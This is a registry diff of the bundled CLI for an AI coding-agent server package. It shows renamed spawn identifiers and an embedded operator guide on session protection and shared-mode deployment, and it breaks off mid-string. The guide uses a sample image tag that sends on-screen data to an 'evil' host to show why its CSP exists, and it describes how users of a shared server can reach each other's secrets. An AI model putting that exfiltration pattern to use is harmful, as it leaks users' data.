@chosengeneration/light-code 0.33.0 → 0.35.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -24132,7 +24132,7 @@ var require_cross_spawn = __commonJS({
24132
24132
  var cp = __require("child_process");
24133
24133
  var parse3 = require_parse2();
24134
24134
  var enoent = require_enoent();
24135
- function spawn7(command, args, options) {
24135
+ function spawn8(command, args, options) {
24136
24136
  const parsed = parse3(command, args, options);
24137
24137
  const spawned = cp.spawn(parsed.command, parsed.args, parsed.options);
24138
24138
  enoent.hookChildProcess(spawned, parsed);
@@ -24144,8 +24144,8 @@ var require_cross_spawn = __commonJS({
24144
24144
  result.error = result.error || enoent.verifyENOENTSync(result.status, parsed);
24145
24145
  return result;
24146
24146
  }
24147
- module.exports = spawn7;
24148
- module.exports.spawn = spawn7;
24147
+ module.exports = spawn8;
24148
+ module.exports.spawn = spawn8;
24149
24149
  module.exports.sync = spawnSync;
24150
24150
  module.exports._parse = parse3;
24151
24151
  module.exports._enoent = enoent;
@@ -24304,7 +24304,7 @@ function installNodeCompat() {
24304
24304
  }
24305
24305
 
24306
24306
  // src/cli.ts
24307
- import { spawn as spawn6 } from "node:child_process";
24307
+ import { spawn as spawn7 } from "node:child_process";
24308
24308
  import fs25 from "node:fs/promises";
24309
24309
  import os3 from "node:os";
24310
24310
  import path32 from "node:path";
@@ -24550,7 +24550,7 @@ function refusalFor(messageType) {
24550
24550
  }
24551
24551
 
24552
24552
  // src/generated/operatorGuide.ts
24553
- var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
24553
+ var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared 